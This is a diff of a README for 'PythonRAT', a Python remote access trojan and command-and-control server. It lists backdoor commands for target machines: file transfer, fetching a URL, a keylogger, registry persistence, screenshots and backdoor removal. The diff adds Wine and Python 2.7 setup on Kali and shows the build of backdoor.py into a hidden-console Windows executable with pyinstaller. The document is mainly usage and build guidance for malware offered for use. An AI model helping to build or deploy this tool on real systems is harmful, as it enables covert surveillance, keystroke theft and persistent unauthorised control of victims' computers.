@@ -40,19 +40,48 @@ PythonRAT is a Command and Control (C2) server which can control multiple machin
4040 cd *Directory name* --> Changes Directory On Target System
4141 upload *file name* --> Upload File To The Target Machine From Working Dir
4242 download *file name* --> Download File From Target Machine
43+ get *url* --> Download File From Specified URL
4344 keylog_start --> Start The Keylogger
4445 keylog_dump --> Print Keystrokes That The Target From taskmanager.txt
4546 keylog_stop --> Stop And Self Destruct Keylogger File
4647 persistence *RegName* *filename* --> Create Persistence In Registry
4748 screenshot --> Takes screenshot and sends to server ./screenshots/
48- remove_backdoor --> Removes backdoor from target
49+ remove_backdoor --> Removes backdoor from target!!!
50+
51+ # Wine and Pyinstaller (Win version) Installation on Linux
52+
53+ Python 2.7.14 Releases: https://www.python.org/downloads/release/python-2714/
54+
55+ ** Environment Setup**
56+
57+ ┌──(root💀kali)-[ ~ /]
58+
59+ └─#
60+ sudo su
61+
62+ dpkg --add-architecture i386
63+ apt update
64+ apt install wine32
65+ wget https://www.python.org/ftp/python/2.7.14/python-2.7.14.msi
66+ sudo wine msiexec -i ~ /python-2.7.14.msi #x86 arch
67+
68+
69+ ** Installing Dependencies**
70+
71+ ┌──(root💀kali)-[ ~ /.wine/drive_c]
72+
73+ └─#
74+
75+ cd /root/.wine/drive_c/Python27
76+ wine python.exe -m pip install pyinstaller
77+ requests
78+ pyautogui
4979
5080
5181# Backdoor Compilation and Obfuscation for Windows
5282
5383** Compile to Executable using Pyinstaller**
5484
55- $ pip install pyinstaller
5685 $ pyinstaller --onefile --noconsole backdoor.py
5786
5887This will produce _ ./dist/backdoor.exe_
0 commit comments